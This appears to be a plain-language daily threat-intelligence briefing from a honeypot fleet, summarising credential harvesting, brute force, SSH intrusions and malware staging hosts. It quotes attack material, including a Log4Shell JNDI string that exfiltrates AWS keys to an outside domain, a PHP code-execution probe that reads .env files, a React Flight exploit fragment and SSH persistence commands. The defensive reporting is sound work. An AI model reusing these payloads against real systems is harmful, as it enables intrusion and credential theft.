Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №64 — PLAIN LANGUAGE

Period: 2026-10-26 07:34 – 2026-10-27 07:34 UTC (24h, day 62 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-27.md

What happened (plain)

One attacker stood out this cycle. An IP in Germany operated by TechTies Inc. (93.152.221.96) ran the same break-in routine over and over for about 16 hours against three of our decoy servers. That one IP walked away with 714 of the 789 fake credentials our traps handed out — the biggest single-day take by any attacker in the fleet's history. Nobody has used any of those credentials in Amazon Web Services yet. Separately, a server in China (121.40.140.50, Alibaba) tried 18,032 password guesses at our fake WordPress login for 13.5 hours, an old attacker came back with a 9-second burst that grabbed 41 more fake credentials, and our Linux honeypot caught attackers handing out two new malware kits — one of them calls itself a worm.

What it means (plain)

  1. TechTies moved from "looking around" to "trying to break in" — and it is now our biggest credential thief. The evidence: one IP ran its routine in repeating cycles for ~16 hours, took 714 fake credentials (727 over six days), and its tooling included a code-execution probe and injection attacks, not just file requests. (High confidence on what happened — the digest, spot queries, and Tracebit all agree. Moderate confidence on why — we never see what they do with the loot.)
  2. A flood of stolen (fake) credentials, but nobody spent any. 789 credentials went to 27 collector IPs and none appeared in AWS — the third quiet cycle in the last four. TechTies's pile alone is bigger than every group we have named before. Whether they are saving them, selling them, or using them slowly, we cannot tell from outside. Their first real use will be obvious and big. (High confidence that nothing was used — the alert pull covers the whole window. Moderate confidence on the interpretation.)
  3. The rebuilt lauterbourg decoy now gets steady brute-force traffic, not just short bursts. One Alibaba IP tried sequential passwords (0, 1, 2, 3…) for 13.5 hours at about 1,340 tries per hour. This is four days after the node was rebuilt and one cycle after a record WordPress flood. (High confidence on the events; Moderate on the trend — two windows make a pattern, not a schedule.)
  4. The Linux honeypot caught its first self-labeled worm kit. The w1 compat v7.1 script says it deploys a worm with "blind-scan" mode; t2r v5 FLAT is a loader for 7 CPU types; a separate host serves 4 malware binaries. (High confidence on the files — we captured the scripts. Moderate on what the worm can actually do — we have not watched it spread.)

Campaigns (who / what / what it means)

TECHTIES-KIT — a scanner that turned into a break-in toolkit ⚠ NEW

  • Who: 93.152.221.96, run by TechTies Inc. (Germany). One IP, no rotation. The same organization appeared as a smaller scanner last cycle (№63).
  • What they did: From 05:46 on 10-26 to 05:19 on 10-27 (stored times), they repeated the same walk hundreds of times across canary-farm-1 (22,969 events, 3,451 POSTs), ru-edge-1 (22,069 events, 1,939 POSTs), and control-1 (3,291 events, 133 POSTs) — 48,329 events and 5,523 POSTs total. Each cycle: bounce off the tarpit, check a marker file, grab /.env (each grab minted a fake credential — 714 total), try 20+ .env copies in other directories, post credentials at fake phpMyAdmin 4,767 times (pma_username=root with empty and root passwords), push a code-execution probe at the phpunit test file (code=echo 'PHPUNIT_OK'; foreach(['.env','../.env','../../.env','wp-config.php','config.php'] as $f) {if(file_exists…), walk Tomcat manager pages (1,507 events), and ask for AWS/password files. They also pushed Log4Shell attack strings into the clientIp and X-Forwarded-For fields 455 times (see the next campaign). Fake browser identity: Chrome/126, plus the Go-http-client/1.1 tool identity. Their wordlist gained new entries this cycle: /.env.save.backup, /.env.save.stage, /.env.save.production, /mgmt/tm/util/bash (an F5 BIG-IP attack path), /django_settings.py, /backend/admin/.env, /backend/administrator/.env.
  • What it means: the shared scanner wordlist now ships with real attack steps attached. Every stage hit a decoy, and the code-execution probe only read fake files — the fleet design held. Watch for: AWS use of the 714-credential pile, a second TechTies IP, or a real payload drop.

JNDI-FIELD-INJECT — Log4Shell strings smuggled in ID fields ⟳ second run

  • Who: the same TechTies IP (93.152.221.96). The №60 run came from a different group (Amazon US addresses); they stayed away this cycle.
  • What they did: 455 requests (canary-farm-1 247, ru-edge-1 184, control-1 24) between 21:47 and 05:20 (stored), each carrying ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} — and a variant with AWS_SECRET_ACCESS_KEY — inside both the clientIp and X-Forwarded-For fields, on a plain GET to /. If a server had a vulnerable Log4j version, that string would make it look up an LDAP address and leak its live AWS keys into that lookup. Every request really came from 93.152.221.96 (the socket peer), so the fake fields did not fool the logs.
  • What it means: this attack is aimed at stealing AWS keys specifically. The 455 count is the first large spike ever on our forged-header detector (it normally reads about zero). We cannot see DNS from our pipeline, so we do not know whether log4j.check received any callbacks — the domain is a live indicator either way. Two different groups have used this trick now, so treat it as a technique, not a one-off.

WP-FORM-BRUTE — password guessing at the fake WordPress login ⟳ new style

  • Who: 121.40.140.50 (Hangzhou Alibaba Advertising, China) — a new operator type: one IP, one browser identity. The older distributed cluster kept working too: netcup-ts took 56 probe + 56 credential events, sponge-01-ts 31 + 31.
  • What they did: 13.5 hours of POSTs to /wp-login.php on lauterbourg-01-ts (15:44 to 05:17 stored). The node logged 20,289 events and 20,281 POSTs from this IP on 6 paths; 18,032 of them were login tries at about 1,340 per hour. The bodies say it all: log=admin&pwd=0&redirect_to=http://89.116.25.211/wp-admin/&testcookie=1, then pwd=1, pwd=2, and so on — sequential number passwords, no _wpnonce (the older cluster forges one), pointed at the node's own address.
  • What it means: a cheap, patient password list run from bulk hosting. The fake WordPress answered every try and gave up nothing. The older cluster's nonce-handling legs are the more capable shape. Watch for a second IP joining the number list, or WordPress xmlrpc activity on the same node.

AI-EXEC-HUNT — AI-flavored census plus code-execution probes ⟳ returned

  • Who: 136.65.203.248 (Google LLC US) — the third operator IP on record for this kit (№57 used 34.58.160.181, №61 used 136.66.182.42; all Google LLC US).
  • What they did: on canary-farm-1, 19:00:48 to 19:00:57 stored — nine seconds: 623 events over 276 paths wearing 33 forged AI-crawler identities (Baiduspider, cohere-ai, Bytespider, MoonshotBot, DeepSeekBot, Perplexity-User, bingbot, Hunyuan, ChatGPT-User, Claude-User, Meta-WebIndexer, DuckAssistBot, OAI-SearchBot, GPTBot/1.4, CCBot, Kimi-SearchBot and kin), 41 minted credentials (ties the record), and 21 POSTs. The POST bodies are React Server Components "Flight" attack probes; one captured body reads {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mai… with the multipart boundary r2s3km489nw4b6k — a new token, rotated again from earlier runs. They also hit /login, /admin, /dashboard, /settings, /api/auth, walked Vite @fs paths (7 mint events), and asked for gcp/firebase/proc-environ/docker-compose files. Their marker path /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show is unchanged.
  • What it means: same kit, third customer — one template, rented or shared. The first two 41-credential piles are still unused; this makes a third pile of 41. Watch for operator IP number four and any AWS movement on the piles.

MEGA-DICTIONARY — a shared 13,776-path malware-URL list, replayed ⟳ 24th replay

  • Who: 155.2.191.115 (Host Universal Pty Ltd US, flagged by the ipsum blocklist) — a new IP, but the campaign's history already lists 155.2.191.165 from the same /24. That makes three replay hosts in three windows (tzulo, then Owl's partial run, now Host Universal).
  • What they did: frantech-ts, 01:09:32 to 01:10:27 stored: 13,776 requests to 13,776 different paths in 55 seconds, wearing 208 rotating router/IoT browser fakes, and carrying all 5 of the artifact's traveling decoy paths one time each (gravitysmtp-miss, llm-endpoint-ollama-ps, llm-endpoint-models-list, exchange-powershell-pre-auth, observability-profiler-index). GET-only, no mints, no POSTs. The manifest has not changed (13,776 paths) for four windows.
  • What it means: the same list keeps passing between operator groups, and the decoys travel with it — our manifest check still works. Watch for the next host and any growth in the list.

REGISTRY-HUNT / LeakIX — the l9scan scanner fleet ⟳ 15 runners

CREDENTIAL-DRAIN — the mint-and-use pipeline ⟳ mint explosion, zero use

  • Who: the mint side: 789 credentials to 27 collector IPs (the digest counts 798 issued rows — farm 340, ru-edge 377, control 68, aidev 13; the standing counting difference, unchanged). The use side: nobody.
  • What they did: no AWS activity tied to our canaries. Who holds what, per the Tracebit pull: TechTies 93.152.221.96 now holds 727 over six days after this cycle's 714; 136.66.182.42 holds 41; 136.65.203.248 holds 41 (new); 213.209.159.175 holds 28; 213.209.159.154 holds 18 (it minted 2 more this cycle); 37.60.226.187 holds 16; 102.220.163.241 holds 8; 45.148.10.171 holds 8; 140.245.97.208 holds 7; 165.227.102.187 holds 7; 46.151.178.15 holds 7.
  • What it means: the biggest supply of stolen (fake) credentials ever, and zero spending for the third cycle in four. Mint failures were tiny (farm 400×1, control 400×1, ru-edge 3 unknown-status) — nothing slowed the take. When this inventory moves, we will see it.

Lighter watchers (short versions)

  • SI-CENSUS (102.220.163.241, VPS Dedicated LLC SI) touched all 8 sensors lightly: 13 events, 3 mints (aidev/farm/control) using Go-http-client/1.1; 8 mints over 6 days.
  • 165.227.102.187 (DigitalOcean US) walked 12 .env name variants on farm plus a frantech leg (192 events); 2 mints (7/6d).
  • 93.152.209.6 (Omniline Investment s.r.o. BG) ran a 40-family config census on farm and took 1 mint (4/6d) under a fake Googlebot identity. Different organization from TechTies, despite the similar address.
  • 45.138.12.x (Tc Datacenter LT), third window of hanging around: .51 on 3 sensors (264 events, 1 farm mint, 5/6d), .52 on aidev+lauterbourg (150 events), .35 re-ran aidev (384 events).
  • 130.12.180.117 (Omegatech NL) hit netcup with 173 events; the block's fourth window.
  • 217.60.76.167 (the LIBREDTAIL staging /16) minted on aidev + control again (5/6d), one fake identity was a Firefox/12 forgery.
  • 105.112.190.152 — new face using python-requests/2.31.0; mints on 3 sensors (5/6d). We do not know who runs it yet.
  • 198.46.135.30 — new face with Chrome/61/69 forgeries; mints on aidev + control (2/6d).
  • 212.56.54.58 — took 1 mint with a completely empty browser identity (rare); first sighting.
  • Benign research probers (honest identities, shallow visits): 89.248.172.33 (7 sensors, 437 events), 45.198.224.125 (8 sensors, 73), 71.6.232.23 (Censys address range, 8 sensors, 8), 93.174.93.12 (6 sensors, 324).
  • Crawlers on lauterbourg's TLS site: YouBot/1.0, CCBot/2.0, bingbot/2.0, and Firefox/140.0.4 (x64 de) showed up for the first time; the fake cloud.wafflehouseindex.us site took 11,446 events. These are honest web crawlers indexing the bait — treat unknown traffic to that site as crawler-first before calling it an attack.

Standing actors (who keeps coming back)

  • 93.152.221.96 (TechTies) — third window in a row: 525 events / 8 mints last cycle, then 48,329 events / 714 mints now. The biggest one-week jump by any operator on record.
  • REGISTRY-HUNT's DigitalOcean runners — seen every cycle on record; 15 this time after 11 last time.
  • 45.138.12.x (Tc Datacenter LT) — third window of low-grade presence.
  • 208.84.100.218 (the CONFIGBUNDLE-KIT operator) — minted on aidev again (03:41 stored); 6 mints/6d; around since 10-02.
  • 213.209.159.154 (Feo Prest) — started minting again after last cycle's pause call: 2 mints on farm, 18/6d.
  • 217.60.76.167 (LIBREDTAIL staging /16) — fourth window; minted in both of the last two.
  • GO-SSH-SWEEP, GO-SCATTER-SWEEP, LIBSSH-MASSSWEEP (network sweeps) — all still active; see below.

Absent or paused

XMLRPC-BRUTE (quiet — this digest re-listed №63's burst because the windows overlap; no new POSTs happened), the Bochum university crawler 185.73.23.x (fourth window out), AI-CLI-VAULT (second), AI-ADMIN-SWEEP (second), EXCHANGE-DICT (third — now marked idle), ADMINER-SWARM, KEYDROP-SCANS, CLOUDCONF-CENSUS (first miss since we named it), METADATA-HUNT's named runners, NIGHTAGENT, MALWARE-DICT (the .18 loop), MALWARE-DICT-2, BUCKLOG-KIT, SES-QUOTA-PROBE (sixth), WEBSIPHON, CLAUDE-CRED-HUNT, CENSUS-284, CF-FRONTED CREDSWEEP, OMEGA-SWEEP's census operators.

Network sweeps (Arkime) — port 22 scans that never ask for a web page

The fleet's 8 public IPs received 129,501 inbound SSH sessions in the window. The scanners are tracked by their client fingerprint (the tool's identity), never by source IP, because the addresses rotate and the tools stay.

client fingerprint campaign sessions src IPs networks countries
f555226df1963d1d3c09daf865abdc9a LIBSSH-MASSSWEEP (flagged) 3,249 602 242 63
0a07365cc01fa9fc82608ba4019af499 GO-SSH-SWEEP 25,301 46 7 10
03a80b21afa810682a776a7d42e5e6fb LIBSSH-011-SWEEP 270 44 30 17
06ff3615a51b2af343ec22abc8e30bbc GO-SPRAY-SWEEP 3,843 41 33 19
084386fa7ae5039bcf6f07298a05a227 unnamed 41 34 5 4
16443846184eafde36765c9bab2f4397 GO-SCATTER-SWEEP 24,691 32 16 14
dd9bcf093c355da7000132131cb36fd0 unnamed 26 26 1 1
a591c4ddccc960a2da8099958270fc92 unnamed 186 20 6 5
  • LIBSSH-MASSSWEEP (ssh-2.0-libssh_0.9.6) is the only one flagged as a dispersed sweep: 3,249 sessions, 602 source IPs, 242 networks, 63 countries, port 22, about 4,918 bytes per session. Its biggest networks: AS135377 UCloud (HK), AS31898 Oracle, AS132203 Tencent, AS8075 Microsoft, AS19871 Network Solutions. Busiest single sources: 112.123.228.180, 201.17.133.138, 20.71.254.235, 57.134.142.191, 104.208.108.166. Day-by-day source counts: 10-21 327 IPs, 10-22 314, 10-23 443, 10-24 617, 10-25 579, 10-26 599, 10-27 214.
  • GO-SPRAY-SWEEP woke up: it went from 1 source IP to 41 (33 networks), sessions up by 3,832 to 3,843, running 12:12 to 07:04. That is its first multi-IP day since №28's 136-IP burst. It still sits below our "dispersed" alarm line (which needs 50+ IPs and 20+ networks).
  • GO-SSH-SWEEP got more concentrated: 25,301 sessions from just 46 IPs in 7 networks. Its relatives kept working the Linux honeypot: the uname hardware survey ran again from 109.160.32.44 and a sibling (2,570 command events), 77.239.124.161 ran the CPU/address survey (429), and 77.239.124.162 touched all 8 nodes' web surface (26 events). The scanning and the shell work look like one operation.
  • GO-SCATTER-SWEEP held steady: 24,691 sessions from 32 IPs.
  • Unnamed but busy fingerprints: 4e066189c3bb… (30,467 sessions from 12 IPs — control-1's biggest inbound), 98f63c4d9c87… (up 3,978 to 4,127), 2ec37a7cc8da… (2,228), 19532158b559… (1,941). None crossed an alarm line; we will name them if they repeat or cross a threshold.
  • lauterbourg-01-ts took the most spread-out inbound of the fleet: 13,054 sessions from 2,838 different source IPs.
  • No new fingerprints appeared. The flagged list still holds one campaign (LIBSSH-MASSSWEEP).

Canaries (minted and used) — fake credentials, real measurements

The traps handed out 789 fake AWS credentials to 27 collector IPs this window. Nobody used any of them in AWS — zero use, third quiet cycle in four.

Who took how many (each line: IP — sensor — mints this window — AWS use — mint history over 6 days):

  • 93.152.221.96 — ru-edge-1 — 372 — 0 — 727 mints since 2026-10-21 23:57
  • 93.152.221.96 — canary-farm-1 — 279 — 0 — 727 mints since 2026-10-21 23:57
  • 93.152.221.96 — control-1 — 63 — 0 — 727 mints since 2026-10-21 23:57
  • 136.65.203.248 — canary-farm-1 — 41 — 0 — 41 mints since 2026-10-26 19:00
  • 165.227.102.187 — canary-farm-1 — 2 — 0 — 7 mints since 2026-10-21 16:37
  • 213.209.159.154 — canary-farm-1 — 2 — 0 — 18 mints since 2026-10-21 19:49
  • 46.151.178.15 — canary-farm-1 — 2 — 0 — 7 mints since 2026-10-25 17:05
  • 102.220.163.241 — ai-devbox-1, canary-farm-1, control-1 — 1 each — 0 — 8 mints since 2026-10-25 09:28
  • 105.112.190.152 — ai-devbox-1 — 1 — 0 — 5 mints since 2026-10-26 06:26
  • 134.209.25.199 — control-1 — 1 — 0 — 4 mints since 2026-10-23 18:47
  • 143.110.217.244 — canary-farm-1 — 1 — 0 — 1 mint since 2026-10-26 21:51
  • 143.244.168.161 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-10-26 21:23
  • 146.190.242.161 — control-1 — 1 — 0 — 1 mint since 2026-10-26 20:55
  • 159.89.12.166 — ai-devbox-1, canary-farm-1 — 1 each — 0 — 2 mints since 2026-10-26 21:48
  • 164.90.208.56 — canary-farm-1 — 1 — 0 — 1 mint since 2026-10-26 20:56
  • 165.22.34.189 — canary-farm-1 — 1 — 0 — 2 mints since 2026-10-23 19:07
  • 167.71.175.236 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-10-26 21:43
  • 167.99.182.39 — canary-farm-1 — 1 — 0 — 2 mints since 2026-10-20 20:40
  • 167.99.210.137 — canary-farm-1 — 1 — 0 — 2 mints since 2026-10-20 20:38
  • 198.46.135.30 — ai-devbox-1, control-1 — 1 each — 0 — 2 mints since 2026-10-26 14:59
  • 209.38.248.17 — ru-edge-1 — 1 — 0 — 1 mint since 2026-10-26 21:12
  • 212.56.54.58 — canary-farm-1 — 1 — 0 — 1 mint since 2026-10-26 15:52
  • 217.60.195.235 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-10-26 08:32
  • 217.60.76.167 — ai-devbox-1, control-1 — 1 each — 0 — 5 mints since 2026-10-24 07:47
  • 45.138.12.51 — canary-farm-1 — 1 — 0 — 5 mints since 2026-10-20 22:16
  • 46.101.1.225 — ai-devbox-1 — 1 — 0 — 4 mints since 2026-10-20 20:02
  • 46.151.178.15 — ru-edge-1 — 1 — 0 — 7 mints since 2026-10-25 17:05
  • 64.23.218.208 — ru-edge-1 — 1 — 0 — 2 mints since 2026-10-25 21:41
  • 93.152.209.6 — canary-farm-1 — 1 — 0 — 4 mints since 2026-10-22 02:01
  • 93.152.223.44 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-10-27 01:14

The full "still holding, never seen in AWS" list (IP: total mints, first → last): 93.152.221.96: 727, 2026-10-21 23:57 → 2026-10-27 05:23; 136.65.203.248: 41, 2026-10-26 19:00 → 2026-10-26 19:00; 136.66.182.42: 41, 2026-10-24 05:03 → 2026-10-24 05:03; 213.209.159.175: 28, 2026-10-20 04:04 → 2026-10-23 15:04; 213.209.159.154: 18, 2026-10-21 19:49 → 2026-10-26 22:00; 37.60.226.187: 16, 2026-10-20 05:25 → 2026-10-21 21:45; 143.244.165.105: 9, 2026-10-21 18:02 → 2026-10-23 21:39; 102.220.163.241: 8, 2026-10-25 09:28 → 2026-10-26 18:02; 45.148.10.171: 8, 2026-10-20 04:47 → 2026-10-22 00:53; 140.245.97.208: 7, 2026-10-20 23:51 → 2026-10-24 16:12; 165.227.102.187: 7, 2026-10-21 16:37 → 2026-10-27 03:24; 46.151.178.15: 7, 2026-10-25 17:05 → 2026-10-27 02:12; 169.150.196.6: 6, 2026-10-25 03:05 → 2026-10-25 03:29; 195.178.110.22: 6, 2026-10-24 06:41 → 2026-10-24 06:53; 208.84.100.218: 6, 2026-10-21 03:34 → 2026-10-26 03:41; 217.60.198.111: 6, 2026-10-21 03:45 → 2026-10-21 03:54; 105.112.190.152: 5, 2026-10-26 06:26 → 2026-10-26 07:47; 206.81.24.74: 5, 2026-10-20 20:43 → 2026-10-25 21:04; 217.60.76.167: 5, 2026-10-24 07:47 → 2026-10-26 20:44; 45.138.12.51: 5, 2026-10-20 22:16 → 2026-10-27 02:04; 134.209.25.199: 4, 2026-10-23 18:47 → 2026-10-26 21:06; 157.245.113.227: 4, 2026-10-20 20:04 → 2026-10-24 20:05; 159.26.101.138: 4, 2026-10-23 16:04 → 2026-10-23 16:21; 23.234.78.109: 4, 2026-10-20 05:35 → 2026-10-20 14:00; 45.148.10.125: 4, 2026-10-23 01:44 → 2026-10-23 04:39; 46.101.1.225: 4, 2026-10-20 20:02 → 2026-10-26 21:46; 91.92.240.86: 4, 2026-10-25 13:52 → 2026-10-25 21:58; 93.152.209.6: 4, 2026-10-22 02:01 → 2026-10-26 09:29; 138.68.144.227: 3, 2026-10-22 21:03 → 2026-10-24 20:54; 146.70.98.138: 3, 2026-10-24 20:46 → 2026-10-25 20:51; 150.228.105.248: 3, 2026-10-20 17:58 → 2026-10-20 18:02; 185.177.72.9: 3, 2026-10-23 13:14 → 2026-10-23 13:14; 206.189.233.36: 3, 2026-10-20 19:58 → 2026-10-25 20:58; 45.148.10.5: 3, 2026-10-22 00:28 → 2026-10-25 02:19; 64.89.163.14: 3, 2026-10-21 08:34 → 2026-10-21 10:53; 72.167.41.202: 3, 2026-10-21 17:47 → 2026-10-21 18:25; 80.94.92.65: 3, 2026-10-20 20:44 → 2026-10-21 09:39.

What this means: TechTies's pile of 727 is bigger than every hoard we have named before, and the three AI-EXEC-HUNT piles of 41 (one per operator) are still untouched. The first AWS alert against any of these will be the story of the next briefing.

How the fleet behaved (Fleet Observations) — what the counters say

  • Where the traffic spikes came from. canary-farm-1 was up 774% (25,738 events, 197 unique IPs) — TechTies took 22,969 of those, AI-EXEC-HUNT 623, and the rest of the jump is their tarpit chatter (15,421 tarpit-module events). lauterbourg-01-ts was up 778% (32,508 / 138) — 18,032 of it was the password-guessing flood. ru-edge-1 was up 68% (23,123 / 120) — TechTies took 22,069, tarpit chatter 14,823. frantech-ts was up 59% (14,537 / 93) — 13,776 of it was the MEGA-DICTIONARY replay. control-1 (−6%, 4,151 / 130) and ai-devbox-1 (−8%, 1,784 / 147) moved within their normal range. netcup-ts fell 77% (990) and sponge-01-ts fell 79% (746) because the same visitors stayed away as last cycle: the Bochum crawler (fourth window out), the AI-CLI-VAULT census, and EXCHANGE-DICT; what remained was tarpit, wp-login legs (56 and 31), and phpunit probes (74 each).
  • Fake-credential bookkeeping. The digest counted 798 mint rows (farm 340 from 18 IPs, ru-edge 377 from 5, control 68 from 6, aidev 13 from 11) while the alert-side funnel counted 789 credentials to 27 collectors — that small difference is the known counting gap between the two systems, unchanged. TechTies caused about 90% of all minting. Mint failures: 1 on canary-farm-1 (400 error), 1 on control-1 (400), 3 on ru-edge-1 with unknown status — scattered, no key problems. Every mint was the aws type. lauterbourg-01-ts minted 0, as expected (it runs without a key by design).
  • Identity tampering. 455 requests carried an X-Forwarded-For header that disagreed with the real connection — all of them TechTies's Log4Shell field injection, and the first mass spike this detector has ever shown (it normally reads about zero). Total requests with any X-Forwarded-For: 3,552. Multi-entry fake chains: 0. The real connection address (socketPeer) was 93.152.221.96 on every forged row, so the fakes never hid the sender. TLS: lauterbourg took 1,583 of 32,508 events on https (4.9%); the no-certificate decoy nodes took plain http, as designed. New wrinkle: lauterbourg's fake cloud.wafflehouseindex.us site drew 11,446 events, and honest web crawlers (YouBot, CCBot, bingbot) found it — the bait is being indexed, so read that site's traffic as crawler-first.
  • control-1's discovery curve. Day 44 of the fresh-IP experiment: 4,151 events from 130 unique IPs. Unique-IP discovery held steady (7-day average about 132) while event volume swung with campaigns (16,293 events on 10-25, 892 on 10-26). The number we track is unique IPs per day, and it held.
  • Two data quirks that mattered this cycle. First, the digest windows overlap a little, so №63's WordPress xmlrpc burst (136.70.193.85, 9,807 POSTs, 05:42–05:59 stored on 10-26) shows up again in this digest's tables — no new xmlrpc activity happened; we checked against №63 before counting anything. Second, the "first-seen" table lists whole sync batches under one arrival time (03:16:46/.47 stored across farm/ru-edge/lauterbourg) — those are delivery times, not sighting times.
  • Fixes on our side. One small tooling fix on medina: the script that picks the next briefing number searched every mention of "№" in old briefings, so a passing reference to "№64" in №63's text made it print №65; it now reads only title lines. This briefing is №64. No node or config changes. The visuals dashboard gained the TECHTIES-KIT chain and got №64 status updates on twelve chains.

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

  • The funnel. 724 source addresses tried passwords → 539 got a shell (74%) → 491 ran a command (91% of those who got a shell; 68% of all sources). In raw events: 21,280 password attempts → 4,084 accepted logins → 11,302 commands run (277% of accepted logins led to a command). Telnet took 1,208 of the attempts. The share of intruders who keep working after getting in stayed at last cycle's level.
  • New commands: none. 0 of the 5,861 distinct commands were seen for the first time this window. When a brand-new command does appear here, it is the single most valuable signal this honeypot produces — it means an operator typed something we have never recorded.
  • Recurring activity (context, not news). The hardware-survey commands (uname, CPU lookups) ran again from 109.160.32.44 and a sibling (2,570 command events) and from 77.239.124.161 (429) — the same address pools behind the GO-SSH-SWEEP port scans, so the scanning and the shell work are one operation. The SSH-persistence pair (cd ~; chattr -ia .ssh; lockr -ia .ssh, then an authorized_keys append) ran from 458 and 401 IPs — standard botnet behavior. A GPU-inventory pair (nvidia-smi -q | grep "Product Name"… and lspci | grep VGA…) ran from 209.99.190.186 and 2 siblings (82 events each) — attackers checking whether the box has graphics cards, which usually means mining interest.
  • Passwords tried. 14,701 distinct username/password pairs, 0 new. The signal is concentration, not the list: the 345gs5662d34 family took 1,239 of the 21,280 attempts (643 as user 345gs5662d34, 596 as root against 3245gs5662d34).

New malware staging this window (still just one host — not a fleet number). Two new delivery servers showed up, and their own files say who they are:

  • 146.190.102.83 serves a kit under /t2r/: the loader script calls itself t2r v5 FLAT and pulls malware for 7 CPU types (t2.arm7, t2.arm6, t2.arm5, t2.mpsl, t2.mips, t2.x86_64, t2.sh4) using wget, busybox wget, or curl, with a port-443 fallback. Seven different versions of the script were served between 11:17 and 19:22 (stored), captured under sha256 prefixes 2165fae6c486, 2a7af0bb942a, 2d6b9901a480, 8a8189c0c67b, a8769ddc8139, c871a756510b, f8d4dafd6b96. A second script, w1_compat.sh (sha256 prefix 0cac28cc7f78), says in its own header that it deploys a worm (Chinese: 蠕虫) in "blind-scan" mode with setsid persistence, pulling w1. binaries for 12 CPU types. One source IP used both.
  • 152.42.195.115 separately serves 4 malware programs over http and tftp: main_arm7 (201,396 bytes, sha256 prefix 62e3e86a7586), main_mips (ec69d3e0d4d9), main_mpsl (1913ed2ad175), and main_arm6 (e27e963b2b49). One source IP, active the whole window (08:46 to 06:46).
  • We judge who is behind a staging server by the file hashes, never by the IP — the same server can serve one group and log in for another (176.65.139.40, the long-running jklarm host, also made 1,224 password attempts itself).

Open questions

  1. Will anyone spend the 789 stolen fake credentials? TechTies's pile (714 this window, 727 over six days) is the largest we have ever recorded. The next alert pull answers this first. We do not know whether they are holding, selling, or working slowly — from outside those look the same.
  2. Did log4j.check get any callbacks? The injected strings would leak AWS keys to that domain only if a target ran a vulnerable Log4j version — our decoys did not. Our pipeline cannot see DNS, so we cannot tell whether the domain is live. If any DNS-visibility source exists, it should check; treat the domain as a live indicator meanwhile.
  3. Do TechTies and LeakIX share the same refreshed wordlist? Both picked up the same new entries this cycle (/.env.save.*, /mgmt/tm/util/bash, /django_settings.py). A path-by-path diff against SI-CENSUS's list would confirm whether one updated list is circulating. Also open: whether TechTies's phpunit probe returns with a real payload.
  4. Are the two new malware staging hosts a lasting operation? Watch for repeat downloads from 146.190.102.83 and 152.42.195.115, matched by file hash, not IP. The w1 script calls itself a worm, but we have not seen it spread — a second host serving the same w1.* hashes would be the proof.
  5. Does the lauterbourg password flood get company? Did 121.40.140.50's sequential run come back, bring a second IP, or join the xmlrpc multi-account guessing on the same node?
  6. Who is behind the big unnamed port-22 fingerprints? 4e066189c3bb… (30,467 sessions against control-1) and 98f63c4d9c87… (up 3,978 in a day) have no names yet. If they repeat at this scale or cross a threshold, they get registered.

Plain language version of: flux-fleet-intel-briefing-2026-10-27.md